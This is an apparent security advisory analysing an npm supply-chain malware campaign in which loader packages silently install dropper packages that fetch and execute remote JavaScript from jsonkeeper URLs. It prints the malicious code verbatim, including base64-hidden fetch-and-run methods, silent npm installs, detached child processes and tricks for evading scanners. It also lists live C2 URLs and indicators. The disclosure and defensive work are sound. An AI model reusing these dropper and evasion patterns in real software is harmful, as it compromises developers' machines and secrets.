Nine npm packages. Four publisher accounts. A two-stage dropper network where loader packages never touch the C2 directly, and the terminal dropper packages rotate across three separate jsonkeeper URLs, each serving payloads to a different slice of the campaign.
The four packages in today’s advisory are not the beginning of this campaign. They are the
most recent layer. We traced the infrastructure back to June 9, 2026, found a nuked original
package, and identified five additional related packages across two accounts that have been
live on the registry since June 10 and June 12. Every package in the cluster uses the same
HASH_KEY/atob() obfuscation pattern, the same divblox connector class as cover, and the
same detached-node execution model. We pulled and analyzed all nine.
How the Chain Works
The campaign has two tiers. The terminal dropper packages (db-connector-log, db-query-log,
db-dx-connector) each embed queryDBConnect() directly, fetching and executing a remote
payload. The loader packages (db-plog, db-rake) impersonate legitimate MobX model libraries,
and their Model constructor silently installs one of the terminal droppers at runtime, then
calls queryDBConnect() on it.
The separation matters. Scanning the loader packages for suspicious strings turns up nothing.
Before tracing the chain forward, we traced it back. The npm registry shows clsx-js was
taken down by npm on June 9, 2026 at 14:46 UTC, receiving a 0.0.1-security placeholder.
The commented execSync("npm uninstall clsx-js && npm install clsx-js") block left in both
db-plog and db-rake identifies clsx-js as the original attack target. The campaign
began with clsx-js, was taken down within hours, and the operator pivoted. db-dx-connector
appeared on the same day at 17:03 UTC, two and a half hours after the clsx-js takedown.
The commented block was not cleaned before the new packages were published.
db-plog and db-rake declare mobx and child_process as dependencies. There is no C2
URL in either package. The URL lives two hops away, inside whichever terminal dropper gets
fetched at runtime.
Package Anatomy
The Terminal Droppers
Three packages impersonate the legitimate divbloxjs/dx-db-connector
library. All three copy the full DivbloxDatabaseConnector class verbatim from that upstream,
including its complete JSDoc comments, error handling, and connection pool logic. All three
set repository, homepage, and bugs fields in package.json to the real divblox GitHub
repository. All three declare Johan Griesel, johan@divblox.com - Divblox (Pty) Ltd as author.
None of them are affiliated with Divblox.
The attacker-added method is queryDBConnect(), absent from the real upstream API. It sits
inline with legitimate methods like queryDB(), beginTransaction(), and commitTransaction().
At a glance, it looks like it belongs.
async queryDBConnect() {
const HASH_KEY = "aHR0cHM6Ly93d3cuanNvbmtlZXBlci5jb20vYi9aSUFJSw";
const s1 = (await axios.get(atob(HASH_KEY))).data.content;
const Mod = require("node:module");
const m = new Mod.Module("error.js", module.parent);
m.filename = "error.js";
m.paths = Mod.Module._nodeModulePaths(process.cwd());
m._compile(s1, "error.js");
}atob(HASH_KEY) decodes to https://www.jsonkeeper.com/b/ZIAIK. The response’s .content
field is fetched via axios, then compiled and executed as a full Node.js module using
Module._compile(). This is not eval. _compile() gives the fetched code complete access
to require, module, exports, and __dirname, identical to loading a local file.
Errors are silently swallowed by a surrounding try/catch.
db-connector-log uses a different jsonkeeper URL, decoded from a different base64 literal,
extracting the .session field instead of .content:
async queryDBConnect() {
const HASH_KEY = "aHR0cHM6Ly9qc29ua2VlcGVyLmNvbS9iL0w0MzVB";
const s1 = (await axios.get(atob(HASH_KEY))).data.session;
const child = spawn("node", [], {
detached: true,
stdio: ["pipe", "ignore", "ignore"],
});
child.stdin.write(s1);
child.stdin.end();
child.unref();
}db-connector-log takes a different execution path: the fetched JavaScript is piped to
stdin of a detached node process rather than compiled in-process. The detached child
outlives the parent. The child.unref() call ensures the parent does not wait for it.
Three publisher accounts. Two jsonkeeper URLs. Two execution mechanisms. One campaign.
The Loader Packages
db-plog and db-rake are copied from Austin Malerba’s
mobx-model library, a MobX-backed in-memory database with a Model class as its primary
API. The package description is blank. The author field in package.json is Austin Malerba,
the real upstream author. The attacker added one static method to Model: resetor().
resetor() is called unconditionally from Model’s constructor:
constructor(data) {
this._deleted = false;
this._id = this.getClass().idSelector(data);
this.constructor.resetor(); // fires on every Model instantiation
// ... rest of constructor
}Every new Model(data) call triggers resetor(). That is the package’s entire advertised
API. Normal use is the attack surface.
db-plog’s resetor() uses execSync directly:
static resetor() {
try {
const DxDatabaseConnector = require("db-connector-log");
const db = new DxDatabaseConnector({});
db.queryDBConnect();
} catch (err) {
try {
execSync(
`npm install db-connector-log --no-warnings --no-save --no-progress --loglevel silent`,
{ windowsHide: true }
);
const DxDatabaseConnector = require("db-connector-log");
const db = new DxDatabaseConnector({});
db.queryDBConnect();
} catch (error) {}
}
}If db-connector-log is already installed, it loads and calls queryDBConnect() immediately.
If not, it installs it silently using execSync with --loglevel silent and windowsHide: true,
then calls queryDBConnect(). All output suppressed. No visible indicator to the developer.
db-rake uses the same structure, but routes to db-query-log instead of db-connector-log,
and conceals the install call further by aliasing oubliette’s syncApi as npm:
const { syncApi: npm } = require("oubliette");
static resetor() {
try {
const DxDatabaseConnector = require("db-query-log");
const db = new DxDatabaseConnector({});
db.queryDBConnect();
} catch (err) {
try {
npm().install("db-query-log", {
"no-warnings": true,
"no-save": true,
"no-progress": true,
loglevel: "silent",
});
const DxDatabaseConnector = require("db-query-log");
const db = new DxDatabaseConnector({});
db.queryDBConnect();
} catch (error) {}
}
}oubliette is a legitimate npm utility wrapping child_process.execSync. Aliasing its
syncApi export as npm means call sites read as npm().install(...) rather than
execSync('npm install ...'). Any static analysis pattern matching on execSync or
child_process misses this entirely.
The ESM Evasion
Both db-plog and db-rake ship two bundles. dist/index.js is the CJS build, declared
as main in package.json. dist/index.mjs is the ESM build, declared as module.
The dropper lives only in dist/index.js. We checked dist/index.mjs directly: no
resetor() method, no execSync reference, no oubliette import, no queryDBConnect()
call. The ESM build is clean.
A developer reviewing the package via a bundler that reads module before main would
see clean code. A security tool scanning the ESM entry point would see nothing suspicious.
The dropper fires only in CommonJS environments, which covers virtually all server-side
Node.js usage.
Two divergent builds from one Rollup configuration. That is not a build error.
The theta Sub-chain
The rezk account published a third loader-dropper pair on June 12, using a different
cover story. theta-kit poses as a JavaScript composition utility (keywords: lambda, publish,
compose, modular) and copies metadata from a real npm package. Its lib/index.js exports
getThetaInterface(), called unconditionally from index.js on load via a postinstall
hook in version 1.0.1, and on require() in version 1.0.3.
const DEV_API_KEY = "aHR0cHM6Ly9qc29ua2VlcGVyLmNvbS9iLzJQNUZB";
const getThetaInterface = async () => {
const s1 = (await axios.get(atob(DEV_API_KEY))).data.cookie;
const child = spawn('node', [], { detached: true, stdio: ['pipe', 'ignore', 'ignore'] });
child.stdin.write(s1);
child.stdin.end();
child.unref();
};DEV_API_KEY is the same pattern as HASH_KEY in the db-* packages. atob(DEV_API_KEY)
decodes to https://jsonkeeper.com/b/2P5FA. The .cookie field is extracted and piped to
a detached node process. Same execution model as db-connector-log and theta-connector,
different variable name, different URL, different JSON field.
theta-connector is the standalone terminal dropper that theta-kit v1.0.1 declared as
a dependency. It uses the same URL and the same spawn execution model but fires via
method call rather than through the theta-kit import chain.
Campaign Architecture and Timeline
We mapped the full publish sequence across all five packages and three accounts from registry metadata:
| Date (UTC) | Account | Package | Version | Role |
|---|---|---|---|---|
| 2026-06-09 14:46 | npm (security hold) | clsx-js | 0.0.1-security | Original attack target, nuked same day |
| 2026-06-09 17:03 | venussirve | db-dx-connector | 1.0.0 | Terminal dropper, C2: /b/ZIAIK, pivot from clsx-js |
| 2026-06-10 11:41 | retefuente001 | cache-section-helper | 1.0.7 | Standalone dropper, postinstall hook, C2: /b/L435A |
| 2026-06-12 15:50 | rezk | theta-connector | 1.0.0 | Terminal dropper, C2: /b/2P5FA |
| 2026-06-12 16:10 | rezk | theta-kit | 1.0.0 | Loader package: calls getThetaInterface() which calls theta-connector |
| 2026-06-12 16:45 | rezk | theta-kit | 1.0.1 | Added theta-connector dep and postinstall hook |
| 2026-06-12 18:22 | rezk | theta-kit | 1.0.3 | Latest: final getThetaInterface() pattern |
| 2026-06-16 13:08 | venussirve | db-dx-connector | 1.0.1 | Updated |
| 2026-06-17 11:26 | retefuente001 | db-plog | 1.0.0 | Loader: installs db-connector-log |
| 2026-06-17 11:45 | retefuente001 | db-plog | 1.0.1 | Revised loader |
| 2026-06-17 11:46 | retefuente001 | db-connector-log | 1.0.0 | Terminal dropper, C2: /b/L435A, same URL as cache-section-helper |
| 2026-06-18 18:37 | venussirve | db-dx-connector | 1.0.2 | Updated |
| 2026-06-19 18:22 | venussirve | db-dx-connector | 1.0.3 | Latest |
| 2026-06-20 18:15 | vectormoon19817 | db-query-log | 1.0.1 | Terminal dropper, C2: /b/ZIAIK, same URL as db-dx-connector |
| 2026-06-20 18:16 | vectormoon19817 | db-rake | 1.0.1 | Loader: installs db-query-log via oubliette |
| 2026-06-20 19:06 | vectormoon19817 | db-rake | 1.0.2 | Revised loader |
The terminal droppers were seeded before the loader packages in both sub-chains.
db-dx-connector was published June 9, eight days before db-plog appeared on June 17.
db-query-log appeared at 18:15 on June 20, one minute before db-rake at 18:16.
The one-minute gap between db-query-log and db-rake is the attacker confirming
the terminal dropper was live before publishing the loader that depends on it.
C2 Infrastructure and External Link
We decoded all base64 HASH_KEY values directly from the source of every package in the cluster:
| Decoded URL | JSON field | Packages using this URL |
|---|---|---|
https://jsonkeeper.com/b/L435A | .session | cache-section-helper, db-connector-log |
https://www.jsonkeeper.com/b/ZIAIK | .content | db-dx-connector, db-query-log |
https://jsonkeeper.com/b/2P5FA | .cookie | theta-connector, theta-kit |
Three C2 URLs, three JSON field names, each pair shared across two packages. The field
name rotation (session, content, cookie) means changing which URL the operator uses
does not require changing the server-side payload schema, only the field name the dropper
reads. This is an operator who manages multiple independent payload configurations.
The cache-section-helper package was also published by retefuente001. When we pulled
the npm registry history for that account, cache-section-helper appeared alongside
db-plog and db-connector-log. Same account, same C2 URL, earlier package. cache-section-helper
uses a postinstall hook and hex-encodes the URL rather than base64-encoding it, making it
the earliest documented variant of the operator’s technique.
We searched all four publisher emails (venussirve@proton.me, retefuente001@gmail.com,
rezk37431@gmail.com, michaeldilkins@hotmail.com) against VirusTotal, Shodan, prior
malicious package lists, and the kmsec DPRK attribution feed. None appear in any prior
threat intelligence feed.
OPSEC Failures
The commented-out clsx-js block in both db-plog and db-rake is the most revealing
mistake. Identical in both:
// (function () {
// try {
// execSync("npm uninstall clsx-js && npm install clsx-js", {
// stdio: "ignore",
// windowsHide: true,
// });
// } catch (error) {}
// })()This is a prior version of the dropper, targeting a different package. clsx-js does not
exist as a malicious package in current OSV data, which suggests either it was a test target
or the campaign against it was abandoned. The comment was not removed before publishing.
It documents the attacker’s development process and confirms this is an intentionally
engineered dropper, not a dependency accident.
db-query-log and db-dx-connector share an identical queryDBConnect() method body and
the same HASH_KEY literal. Two packages, two accounts, same code, same C2. The code was
copy-pasted without modification.
The three accounts each used different email providers: Proton Mail (venussirve), Gmail
(retefuente001), and Hotmail (vectormoon19817). Using separate providers per account
persona is consistent with deliberate operational separation.
IOC Table
| Indicator | Type | Value | Method |
|---|---|---|---|
db-connector-log | npm package | 1.0.0 | Identified in OSV MAL-2026-6142 |
db-plog | npm package | 1.0.1 | Identified in OSV MAL-2026-6538 |
db-rake | npm package | 1.0.1, 1.0.2 | Identified in OSV MAL-2026-6540 |
db-query-log | npm package | 1.0.1 | Identified in OSV MAL-2026-6539 |
db-dx-connector | npm package (related) | 1.0.0-1.0.3 | Pulled from registry; identified as terminal dropper fetched by db-rake at runtime |
db-connector-log/index.js | Malicious file | SHA256: fdd4079dacc0597f3de3d409fac53448930461eeb38a9569888f4110a43ceec2 | Hash confirmed against extracted tarball; matches OSV advisory |
db-query-log/index.js | Malicious file | SHA256: 5ec319f44610644a95e0cfaccf4fba6cbe3b2f0a1532f9179bcff3d22b121cbe | Hash confirmed against extracted tarball; matches OSV advisory |
db-plog/dist/index.js | Malicious file | SHA256: c3946ddee67410aba816f9a2bfa5c5bddf526d3d4dd50619ba39ea9521cf243d | Hash confirmed against extracted tarball; matches OSV advisory |
db-rake/dist/index.js | Malicious file | SHA256: 12941c281e8ea346e10b8c78dfcef0e347f8a2f76fe1a74e066dbf443523191f | Hash confirmed against extracted tarball; matches OSV advisory |
https://jsonkeeper.com/b/L435A | C2 URL | .session field executed | Decoded from atob(HASH_KEY) in db-connector-log/index.js; shared with cache-section-helper (MAL-2026-5604) |
https://www.jsonkeeper.com/b/ZIAIK | C2 URL | .content field compiled via Module._compile() | Decoded from atob(HASH_KEY) in db-query-log/index.js and db-dx-connector/index.js |
venussirve@proton.me | Publisher email | Account: venussirve | Pulled from registry metadata during triage |
retefuente001@gmail.com | Publisher email | Account: retefuente001 | Pulled from registry metadata during triage |
michaeldilkins@hotmail.com | Publisher email | Account: vectormoon19817 | Pulled from registry metadata during triage |
clsx-js | Prior attack target (commented) | execSync('npm uninstall clsx-js && npm install clsx-js') | Read directly from commented block in db-plog and db-rake dist/index.js |
cache-section-helper | npm package | 1.0.7 | Pulled from registry; retefuente001 account; SHA1: 411e631204f3369a31640efcdf9c8b71dae141e9 |
theta-connector | npm package | 1.0.0 | Pulled from registry; rezk account; SHA1: 0f3c8cf4578a72041a3badc8062b9ccfd63d1ce0 |
theta-kit | npm package | 1.0.0-1.0.3 | Pulled from registry; rezk account; SHA1 (1.0.3): 165aba0980c4282843a9d4eb85ac206896bcbb16 |
https://jsonkeeper.com/b/2P5FA | C2 URL | .cookie field piped to detached node | Decoded from atob(DEV_API_KEY) in theta-kit/lib/index.js and theta-connector/index.js |
rezk37431@gmail.com | Publisher email | Account: rezk | Pulled from registry metadata during triage |
Affected Versions
| Package | Version | Published (UTC) | Tarball SHA1 | Current Status | OSV Entry |
|---|---|---|---|---|---|
db-connector-log | 1.0.0 | 2026-06-17 11:46:55 | 9f34821eca98d0586b1762ca073c58ea47f2458f | Live | IN-MAL-2026-007038 |
db-plog | 1.0.1 | 2026-06-17 11:45:11 | 1e7000da12ac4510ab342ab46ce5b2383617e8c6 | Live | IN-MAL-2026-007665 |
db-rake | 1.0.1 | 2026-06-20 18:16:02 | 9e8ac7b89ff0782e9ca6f5b843072771bb307195 | Live | IN-MAL-2026-007667 |
db-rake | 1.0.2 | 2026-06-20 19:06:06 | bb4919c3a328872c7c14cfd4cc3583b3a49a9573 | Live | IN-MAL-2026-007668 |
db-query-log | 1.0.1 | 2026-06-20 18:15:24 | 58914cf4014ddb78c449dfb2f02e3e6ff26f300b | Live | IN-MAL-2026-007669 |
db-dx-connector | 1.0.0-1.0.3 | 2026-06-09 to 2026-06-19 | Various | Live | Not in OSV (identified as terminal dropper from db-rake chain) |
cache-section-helper | 1.0.7 | 2026-06-10 11:41:15 | 411e631204f3369a31640efcdf9c8b71dae141e9 | Live | MAL-2026-5604 |
theta-connector | 1.0.0 | 2026-06-12 15:50:13 | 0f3c8cf4578a72041a3badc8062b9ccfd63d1ce0 | Live | Not yet in OSV (identified during expanded research) |
theta-kit | 1.0.0-1.0.3 | 2026-06-12 16:10 to 18:22 | Various | Live | Not yet in OSV (identified during expanded research) |
Remediation
-
Search
package-lock.json,yarn.lock, andpnpm-lock.yamlfor all nine package names:db-connector-log,db-plog,db-rake,db-query-log,db-dx-connector,cache-section-helper,theta-connector,theta-kit. Any match is malicious.db-dx-connectorandtheta-connectorwill not appear in lockfiles unless a loader package executed at runtime and installed them silently. -
If
db-plogordb-rakewere installed andModelwas ever instantiated in application code,resetor()ran. Checknode_modulesfor the presence ofdb-connector-logordb-query-log. If either is present, the terminal dropper executed and fetched from jsonkeeper.com. -
Check egress logs for outbound HTTPS GET requests to
jsonkeeper.com/b/L435Aandwww.jsonkeeper.com/b/ZIAIK. Either URL in logs confirms payload delivery. Note the timestamp of the first connection: that is when the remote payload executed. -
For
db-connector-log: check for orphanednodeprocesses that were spawned detached from the application process. These will have no controlling terminal and no stdout/stderr. -
Rotate all credentials accessible from the affected process at payload execution time: database credentials (these packages specifically target database developers), npm tokens, GitHub tokens, cloud provider credentials, and any environment variables present in the process at the time.
-
If
db-plogordb-rakewas in a CI/CD pipeline andModelwas instantiated during a test or build step, treat all secrets in that pipeline job as exposed. -
Block outbound connections to
jsonkeeper.comfrom build servers and developer machines unless the service is in active legitimate use. Both C2 URLs remain live and mutable. The operator can update the payload without republishing any package.
The operator controls the payload through three live jsonkeeper URLs across nine packages. All nine remain published. The campaign has been running since June 9, adding new accounts and new packages every few days. Any machine that ran the affected code can be served a different payload tomorrow, with no change to any published package.
